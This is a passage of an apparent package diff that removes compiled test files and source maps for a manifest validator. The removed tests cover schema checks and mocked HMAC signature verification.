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"}

package/dist/__tests__/runtime/manifest-validation.test.d.ts

@@ -1,2 +0,0 @@
-export {};
-//# sourceMappingURL=manifest-validation.test.d.ts.map

package/dist/__tests__/runtime/manifest-validation.test.d.ts.map

@@ -1 +0,0 @@
-{"version":3,"file":"manifest-validation.test.d.ts","sourceRoot":"","sources":["../../../src/__tests__/runtime/manifest-validation.test.ts"],"names":[],"mappings":""}

package/dist/__tests__/runtime/manifest-validation.test.js

@@ -1,88 +0,0 @@
-import { describe, expect, it } from 'vitest';
-import * as ManifestValidator from '../../../packages/rescript-core/src/security/ManifestValidator.bs.js';
-// Sprint 1 Day 4: Manifest Validation Tests
-// T1 Mitigation - Malicious Manifest Smuggling (Critical/P0)
-describe('Manifest Validation - Schema Validation', () => {
-    it('passes validation for valid manifest with all required fields', () => {
-        const manifest = ManifestValidator.createManifest('task-123', '1.0.0', ['dep1', 'dep2'], undefined, undefined, undefined);
-        const result = ManifestValidator.validateSchema(manifest);
-        expect(ManifestValidator.isValid(result)).toBe(true);
-        expect(ManifestValidator.validationResultToString(result)).toBe('Valid');
-    });
-    it('fails validation when taskId is empty', () => {
-        const manifest = ManifestValidator.createManifest('', '1.0.0', ['dep1'], undefined, undefined, undefined);
-        const result = ManifestValidator.validateSchema(manifest);
-        expect(ManifestValidator.isValid(result)).toBe(false);
-        expect(ManifestValidator.validationResultToString(result)).toContain('taskId cannot be empty');
-    });
-    it('fails validation when manifestVersion is empty', () => {
-        const manifest = ManifestValidator.createManifest('task-123', '', ['dep1'], undefined, undefined, undefined);
-        const result = ManifestValidator.validateSchema(manifest);
-        expect(ManifestValidator.isValid(result)).toBe(false);
-        expect(ManifestValidator.validationResultToString(result)).toContain('manifestVersion cannot be empty');
-    });
-    it('fails validation when dependencies array is empty', () => {
-        const manifest = ManifestValidator.createManifest('task-123', '1.0.0', [], undefined, undefined, undefined);
-        const result = ManifestValidator.validateSchema(manifest);
-        expect(ManifestValidator.isValid(result)).toBe(false);
-        expect(ManifestValidator.validationResultToString(result)).toContain('dependencies array cannot be empty');
-    });
-    it('fails validation when dependencies contain empty strings', () => {
-        const manifest = ManifestValidator.createManifest('task-123', '1.0.0', ['dep1', '', 'dep2'], undefined, undefined, undefined);
-        const result = ManifestValidator.validateSchema(manifest);
-        expect(ManifestValidator.isValid(result)).toBe(false);
-        expect(ManifestValidator.validationResultToString(result)).toContain('dependencies cannot contain empty strings');
-    });
-});
-describe('Manifest Validation - Signature Verification', () => {
-    it('verifies valid HMAC-SHA256 signature', () => {
-        const secretKey = 'test-secret-key-123';
-        const manifest = ManifestValidator.createManifest('task-123', '1.0.0', ['dep1', 'dep2'], undefined, 'valid-signature', undefined);
-        // Mock HMAC verifier that always returns true for 'valid-signature'
-        const hmacVerifier = (canonical, key, sig) => {
-            return sig === 'valid-signature' && key === secretKey;
-        };
-        const result = ManifestValidator.verifySignature(manifest, secretKey, hmacVerifier);
-        expect(ManifestValidator.isVerified(result)).toBe(true);
-        expect(ManifestValidator.signatureResultToString(result)).toBe('Verified');
-    });
-    it('fails verification when signature mismatches', () => {
-        const secretKey = 'test-secret-key-123';
-        const manifest = ManifestValidator.createManifest('task-123', '1.0.0', ['dep1', 'dep2'], undefined, 'invalid-signature', undefined);
-        // Mock HMAC verifier that only accepts 'valid-signature'
-        const hmacVerifier = (_canonical, _key, sig) => {
-            return sig === 'valid-signature';
-        };
-        const result = ManifestValidator.verifySignature(manifest, secretKey, hmacVerifier);
-        expect(ManifestValidator.isVerified(result)).toBe(false);
-        expect(ManifestValidator.signatureResultToString(result)).toBe('SignatureMismatch');
-    });
-    it('fails verification when signature is missing', () => {
-        const secretKey = 'test-secret-key-123';
-        const manifest = ManifestValidator.createManifest('task-123', '1.0.0', ['dep1', 'dep2'], undefined, undefined, undefined);
-        const hmacVerifier = () => true;
-        const result = ManifestValidator.verifySignature(manifest, secretKey, hmacVerifier);
-        expect(ManifestValidator.isVerified(result)).toBe(false);
-        expect(ManifestValidator.signatureResultToString(result)).toBe('MissingSignature');
-    });
-    it('fails verification when signature is empty string', () => {
-        const secretKey = 'test-secret-key-123';
-        const manifest = ManifestValidator.createManifest('task-123', '1.0.0', ['dep1', 'dep2'], undefined, '', undefined);
-        const hmacVerifier = () => true;
-        const result = ManifestValidator.verifySignature(manifest, secretKey, hmacVerifier);
-        expect(ManifestValidator.isVerified(result)).toBe(false);
-        expect(ManifestValidator.signatureResultToString(result)).toContain('InvalidFormat');
-        expect(ManifestValidator.signatureResultToString(result)).toContain('signature cannot be empty');
-    });
-    it('performs combined validation with schema and signature checks', () => {
-        const secretKey = 'test-secret-key-123';
-        const manifest = ManifestValidator.createManifest('task-123', '1.0.0', ['dep1', 'dep2'], undefined, 'valid-signature', undefined);
-        const hmacVerifier = (_canonical, _key, sig) => {
-            return sig === 'valid-signature';
-        };
-        const result = ManifestValidator.validateManifest(manifest, secretKey, hmacVerifier);
-        expect(result.TAG).toBe('Ok');
-        expect(result._0.taskId).toBe('task-123');
-    });
-});
-//# sourceMappingURL=manifest-validation.test.js.map

package/dist/__tests__/runtime/manifest-validation.test.js.map

@@ -1 +0,0 @@
-{"version":3,"file":"manifest-validation.test.js","sourceRoot":"","sources":["../../../src/__tests__/runtime/manifest-validation.test.ts"],"names":[],"mappings":"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